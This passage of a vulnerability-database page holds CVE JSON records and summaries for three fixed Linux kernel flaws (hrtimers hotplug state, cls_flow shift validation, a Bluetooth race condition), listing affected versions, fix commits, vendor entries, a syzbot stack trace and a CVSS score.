                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:42.685Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/hrtimer.h",
            "kernel/cpu.c",
            "kernel/time/hrtimer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "95e4f62df23f4df1ce6ef897d44b8e23c260921a",
              "status": "affected",
              "version": "54d0d83a53508d687fd4a225f8aa1f18559562d0",
              "versionType": "git"
            },
            {
              "lessThan": "14984139f1f2768883332965db566ef26db609e7",
              "status": "affected",
              "version": "7f4c89400d2997939f6971c7981cc780a219e36b",
              "versionType": "git"
            },
            {
              "lessThan": "15b453db41d36184cf0ccc21e7df624014ab6a1a",
              "status": "affected",
              "version": "6fcbcc6c8e52650749692c7613cbe71bf601670d",
              "versionType": "git"
            },
            {
              "lessThan": "3d41dbf82e10c44e53ea602398ab002baec27e75",
              "status": "affected",
              "version": "75b5016ce325f1ef9c63e5398a1064cf8a7a7354",
              "versionType": "git"
            },
            {
              "lessThan": "a5cbbea145b400e40540c34816d16d36e0374fbc",
              "status": "affected",
              "version": "53f408cad05bb987af860af22f4151e5a18e6ee8",
              "versionType": "git"
            },
            {
              "lessThan": "38492f6ee883c7b1d33338bf531a62cff69b4b28",
              "status": "affected",
              "version": "5c0930ccaad5a74d74e8b18b648c5eb21ed2fe94",
              "versionType": "git"
            },
            {
              "lessThan": "2f8dea1692eef2b7ba6a256246ed82c365fdc686",
              "status": "affected",
              "version": "5c0930ccaad5a74d74e8b18b648c5eb21ed2fe94",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "9a2fc41acb69dd4e2a58d0c04346c3333c2341fc",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/hrtimer.h",
            "kernel/cpu.c",
            "kernel/time/hrtimer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "5.4.264",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.10.204",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.15.143",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "6.1.68",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "6.6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.11",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.302",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhrtimers: Handle CPU state correctly on hotplug\n\nConsider a scenario where a CPU transitions from CPUHP_ONLINE to halfway\nthrough a CPU hotunplug down to CPUHP_HRTIMERS_PREPARE, and then back to\nCPUHP_ONLINE:\n\nSince hrtimers_prepare_cpu() does not run, cpu_base.hres_active remains set\nto 1 throughout. However, during a CPU unplug operation, the tick and the\nclockevents are shut down at CPUHP_AP_TICK_DYING. On return to the online\nstate, for instance CFS incorrectly assumes that the hrtick is already\nactive, and the chance of the clockevent device to transition to oneshot\nmode is also lost forever for the CPU, unless it goes back to a lower state\nthan CPUHP_HRTIMERS_PREPARE once.\n\nThis round-trip reveals another issue; cpu_base.online is not set to 1\nafter the transition, which appears as a WARN_ON_ONCE in enqueue_hrtimer().\n\nAside of that, the bulk of the per CPU state is not reset either, which\nmeans there are dangling pointers in the worst case.\n\nAddress this by adding a corresponding startup() callback, which resets the\nstale per CPU state and sets the online flag.\n\n[ tglx: Make the new callback unconditionally available, remove the online\n  \tmodification in the prepare() callback and clear the remaining\n  \tstate in the starting callback instead of the prepare callback ]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:17.176Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/95e4f62df23f4df1ce6ef897d44b8e23c260921a"
        },
        {
          "url": "https://git.kernel.org/stable/c/14984139f1f2768883332965db566ef26db609e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/15b453db41d36184cf0ccc21e7df624014ab6a1a"
        },
        {
          "url": "https://git.kernel.org/stable/c/3d41dbf82e10c44e53ea602398ab002baec27e75"
        },
        {
          "url": "https://git.kernel.org/stable/c/a5cbbea145b400e40540c34816d16d36e0374fbc"
        },
        {
          "url": "https://git.kernel.org/stable/c/38492f6ee883c7b1d33338bf531a62cff69b4b28"
        },
        {
          "url": "https://git.kernel.org/stable/c/2f8dea1692eef2b7ba6a256246ed82c365fdc686"
        }
      ],
      "title": "hrtimers: Handle CPU state correctly on hotplug",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57951",
    "datePublished": "2025-02-12T13:27:53.124Z",
    "dateReserved": "2025-01-19T11:50:08.381Z",
    "dateUpdated": "2026-05-12T12:01:42.685Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21653 (GCVE-0-2025-21653)

Vulnerability from cvelistv5 – Published: 2025-01-19 10:18 – Updated: 2026-05-12 12:03

Title

net_sched: cls_flow: validate TCA_FLOW_RSHIFT attribute

Summary

In the Linux kernel, the following vulnerability has been resolved: net_sched: cls_flow: validate TCA_FLOW_RSHIFT attribute syzbot found that TCA_FLOW_RSHIFT attribute was not validated. Right shitfing a 32bit integer is undefined for large shift values. UBSAN: shift-out-of-bounds in net/sched/cls_flow.c:329:23 shift exponent 9445 is too large for 32-bit type 'u32' (aka 'unsigned int') CPU: 1 UID: 0 PID: 54 Comm: kworker/u8:3 Not tainted 6.13.0-rc3-syzkaller-00180-g4f619d518db9 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 Workqueue: ipv6_addrconf addrconf_dad_work Call Trace: <TASK> __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120 ubsan_epilogue lib/ubsan.c:231 [inline] __ubsan_handle_shift_out_of_bounds+0x3c8/0x420 lib/ubsan.c:468 flow_classify+0x24d5/0x25b0 net/sched/cls_flow.c:329 tc_classify include/net/tc_wrapper.h:197 [inline] __tcf_classify net/sched/cls_api.c:1771 [inline] tcf_classify+0x420/0x1160 net/sched/cls_api.c:1867 sfb_classify net/sched/sch_sfb.c:260 [inline] sfb_enqueue+0x3ad/0x18b0 net/sched/sch_sfb.c:318 dev_qdisc_enqueue+0x4b/0x290 net/core/dev.c:3793 __dev_xmit_skb net/core/dev.c:3889 [inline] __dev_queue_xmit+0xf0e/0x3f50 net/core/dev.c:4400 dev_queue_xmit include/linux/netdevice.h:3168 [inline] neigh_hh_output include/net/neighbour.h:523 [inline] neigh_output include/net/neighbour.h:537 [inline] ip_finish_output2+0xd41/0x1390 net/ipv4/ip_output.c:236 iptunnel_xmit+0x55d/0x9b0 net/ipv4/ip_tunnel_core.c:82 udp_tunnel_xmit_skb+0x262/0x3b0 net/ipv4/udp_tunnel_core.c:173 geneve_xmit_skb drivers/net/geneve.c:916 [inline] geneve_xmit+0x21dc/0x2d00 drivers/net/geneve.c:1039 __netdev_start_xmit include/linux/netdevice.h:5002 [inline] netdev_start_xmit include/linux/netdevice.h:5011 [inline] xmit_one net/core/dev.c:3590 [inline] dev_hard_start_xmit+0x27a/0x7d0 net/core/dev.c:3606 __dev_queue_xmit+0x1b73/0x3f50 net/core/dev.c:4434

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/9858f4afeb2e59506…
https://git.kernel.org/stable/c/43658e4a5f2770ad9…
https://git.kernel.org/stable/c/a313d6e6d5f3a631c…
https://git.kernel.org/stable/c/2011749ca96460386…
https://git.kernel.org/stable/c/e54beb9aed2a90ddd…
https://git.kernel.org/stable/c/6fde663f732141899…
https://git.kernel.org/stable/c/a039e54397c6a75b7…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e5dfb815181fcb186d6080ac3a091eadff2d98fe , < 9858f4afeb2e59506e714176bd3e135539a3eeec (git) Affected: e5dfb815181fcb186d6080ac3a091eadff2d98fe , < 43658e4a5f2770ad94e93362885ff51c10cf3179 (git) Affected: e5dfb815181fcb186d6080ac3a091eadff2d98fe , < a313d6e6d5f3a631cae5a241c392c28868aa5c5e (git) Affected: e5dfb815181fcb186d6080ac3a091eadff2d98fe , < 2011749ca96460386844dfc7e0fde53ebee96f3c (git) Affected: e5dfb815181fcb186d6080ac3a091eadff2d98fe , < e54beb9aed2a90dddf4c5d68fcfc9a01f3e40a61 (git) Affected: e5dfb815181fcb186d6080ac3a091eadff2d98fe , < 6fde663f7321418996645ee602a473457640542f (git) Affected: e5dfb815181fcb186d6080ac3a091eadff2d98fe , < a039e54397c6a75b713b9ce7894a62e06956aa92 (git)
Linux	Linux	Affected: 2.6.25 Unaffected: 0 , < 2.6.25 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:33.343Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:05.797Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/cls_flow.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9858f4afeb2e59506e714176bd3e135539a3eeec",
              "status": "affected",
              "version": "e5dfb815181fcb186d6080ac3a091eadff2d98fe",
              "versionType": "git"
            },
            {
              "lessThan": "43658e4a5f2770ad94e93362885ff51c10cf3179",
              "status": "affected",
              "version": "e5dfb815181fcb186d6080ac3a091eadff2d98fe",
              "versionType": "git"
            },
            {
              "lessThan": "a313d6e6d5f3a631cae5a241c392c28868aa5c5e",
              "status": "affected",
              "version": "e5dfb815181fcb186d6080ac3a091eadff2d98fe",
              "versionType": "git"
            },
            {
              "lessThan": "2011749ca96460386844dfc7e0fde53ebee96f3c",
              "status": "affected",
              "version": "e5dfb815181fcb186d6080ac3a091eadff2d98fe",
              "versionType": "git"
            },
            {
              "lessThan": "e54beb9aed2a90dddf4c5d68fcfc9a01f3e40a61",
              "status": "affected",
              "version": "e5dfb815181fcb186d6080ac3a091eadff2d98fe",
              "versionType": "git"
            },
            {
              "lessThan": "6fde663f7321418996645ee602a473457640542f",
              "status": "affected",
              "version": "e5dfb815181fcb186d6080ac3a091eadff2d98fe",
              "versionType": "git"
            },
            {
              "lessThan": "a039e54397c6a75b713b9ce7894a62e06956aa92",
              "status": "affected",
              "version": "e5dfb815181fcb186d6080ac3a091eadff2d98fe",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/cls_flow.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.25"
            },
            {
              "lessThan": "2.6.25",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "2.6.25",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet_sched: cls_flow: validate TCA_FLOW_RSHIFT attribute\n\nsyzbot found that TCA_FLOW_RSHIFT attribute was not validated.\nRight shitfing a 32bit integer is undefined for large shift values.\n\nUBSAN: shift-out-of-bounds in net/sched/cls_flow.c:329:23\nshift exponent 9445 is too large for 32-bit type \u0027u32\u0027 (aka \u0027unsigned int\u0027)\nCPU: 1 UID: 0 PID: 54 Comm: kworker/u8:3 Not tainted 6.13.0-rc3-syzkaller-00180-g4f619d518db9 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nWorkqueue: ipv6_addrconf addrconf_dad_work\nCall Trace:\n \u003cTASK\u003e\n  __dump_stack lib/dump_stack.c:94 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n  ubsan_epilogue lib/ubsan.c:231 [inline]\n  __ubsan_handle_shift_out_of_bounds+0x3c8/0x420 lib/ubsan.c:468\n  flow_classify+0x24d5/0x25b0 net/sched/cls_flow.c:329\n  tc_classify include/net/tc_wrapper.h:197 [inline]\n  __tcf_classify net/sched/cls_api.c:1771 [inline]\n  tcf_classify+0x420/0x1160 net/sched/cls_api.c:1867\n  sfb_classify net/sched/sch_sfb.c:260 [inline]\n  sfb_enqueue+0x3ad/0x18b0 net/sched/sch_sfb.c:318\n  dev_qdisc_enqueue+0x4b/0x290 net/core/dev.c:3793\n  __dev_xmit_skb net/core/dev.c:3889 [inline]\n  __dev_queue_xmit+0xf0e/0x3f50 net/core/dev.c:4400\n  dev_queue_xmit include/linux/netdevice.h:3168 [inline]\n  neigh_hh_output include/net/neighbour.h:523 [inline]\n  neigh_output include/net/neighbour.h:537 [inline]\n  ip_finish_output2+0xd41/0x1390 net/ipv4/ip_output.c:236\n  iptunnel_xmit+0x55d/0x9b0 net/ipv4/ip_tunnel_core.c:82\n  udp_tunnel_xmit_skb+0x262/0x3b0 net/ipv4/udp_tunnel_core.c:173\n  geneve_xmit_skb drivers/net/geneve.c:916 [inline]\n  geneve_xmit+0x21dc/0x2d00 drivers/net/geneve.c:1039\n  __netdev_start_xmit include/linux/netdevice.h:5002 [inline]\n  netdev_start_xmit include/linux/netdevice.h:5011 [inline]\n  xmit_one net/core/dev.c:3590 [inline]\n  dev_hard_start_xmit+0x27a/0x7d0 net/core/dev.c:3606\n  __dev_queue_xmit+0x1b73/0x3f50 net/core/dev.c:4434"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:03:50.397Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9858f4afeb2e59506e714176bd3e135539a3eeec"
        },
        {
          "url": "https://git.kernel.org/stable/c/43658e4a5f2770ad94e93362885ff51c10cf3179"
        },
        {
          "url": "https://git.kernel.org/stable/c/a313d6e6d5f3a631cae5a241c392c28868aa5c5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/2011749ca96460386844dfc7e0fde53ebee96f3c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e54beb9aed2a90dddf4c5d68fcfc9a01f3e40a61"
        },
        {
          "url": "https://git.kernel.org/stable/c/6fde663f7321418996645ee602a473457640542f"
        },
        {
          "url": "https://git.kernel.org/stable/c/a039e54397c6a75b713b9ce7894a62e06956aa92"
        }
      ],
      "title": "net_sched: cls_flow: validate TCA_FLOW_RSHIFT attribute",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21653",
    "datePublished": "2025-01-19T10:18:10.354Z",
    "dateReserved": "2024-12-29T08:45:45.729Z",
    "dateUpdated": "2026-05-12T12:03:05.797Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-24857 (GCVE-0-2024-24857)

Vulnerability from cvelistv5 – Published: 2024-02-05 07:31 – Updated: 2026-05-12 11:49

Title

Race condition vulnerability in Linux kernel bluetooth in conn_info_{min,max}_age_set()

Summary

A race condition was found in the Linux kernel's net/bluetooth device driver in conn_info_{min,max}_age_set() function. This can result in integrity overflow issue, possibly leading to bluetooth connection abnormality or denial of service.

Severity ?

4.6 (Medium)


                        
                          CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:L

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Anolis

References

3 references

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=8155
https://lists.debian.org/debian-lts-announce/2024…
https://lists.debian.org/debian-lts-announce/2024…

Impacted products

1 product

Vendor	Product	Version
Linux	Linux kernel	Affected: v4.0-rc1 , < v6.8-rc2 (custom)

Credits

白家驹 <baijiaju@buaa.edu.cn> 韩桂栋 <hanguidong@buaa.edu.cn>

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-24857",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-02-21T19:29:31.571479Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:43:34.885Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T23:28:12.866Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=8155"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:14.171Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "modules": [
            "bluetooth"
          ],
          "packageName": "kernel",
          "platforms": [
            "Linux",
            "x86",
            "ARM"
          ],
          "product": "Linux kernel",
          "programFiles": [
            "https://gitee.com/anolis/cloud-kernel/blob/devel-5.10/net/bluetooth/hci_debugfs.c"
          ],
          "repo": "https://gitee.com/anolis/cloud-kernel.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "v6.8-rc2",
              "status": "affected",
              "version": "v4.0-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "\u767d\u5bb6\u9a79 \u003cbaijiaju@buaa.edu.cn\u003e"
        },
        {
          "lang": "en",
          "type": "reporter",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "\u97e9\u6842\u680b \u003changuidong@buaa.edu.cn\u003e"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eA race condition was found in the Linux kernel\u0027s net/bluetooth device driver in conn_info_{min,max}_age_set() function. This can result in integrity overflow issue, possibly leading to bluetooth connection abnormality or denial of service.\u003c/p\u003e"
            }
          ],
          "value": "A race condition was found in the Linux kernel\u0027s net/bluetooth device driver in conn_info_{min,max}_age_set() function. This can result in integrity overflow issue, possibly leading to bluetooth connection abnormality or denial of service."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-26",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-26 Leveraging Race Conditions"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 4.6,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:L",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-362",
              "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-06-27T12:09:33.398Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=8155"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://lore.kernel.org/lkml/20231222162310.6461-1-2045gemini@gmail.com/T/\"\u003ehttps://lore.kernel.org/lkml/20231222162310.6461-1-2045gemini@gmail.com/T/\u003c/a\u003e\u003cbr\u003e"
            }
          ],
          "value": "https://lore.kernel.org/lkml/20231222162310.6461-1-2045gemini@gmail.com/T/ https://lore.kernel.org/lkml/20231222162310.6461-1-2045gemini@gmail.com/T/"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Race condition vulnerability in Linux kernel bluetooth in conn_info_{min,max}_age_set()",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2024-24857",
    "datePublished": "2024-02-05T07:31:31.308Z",
    "dateReserved": "2024-02-01T09:11:56.214Z",
    "dateUpdated": "2026-05-12T11:49:14.171Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

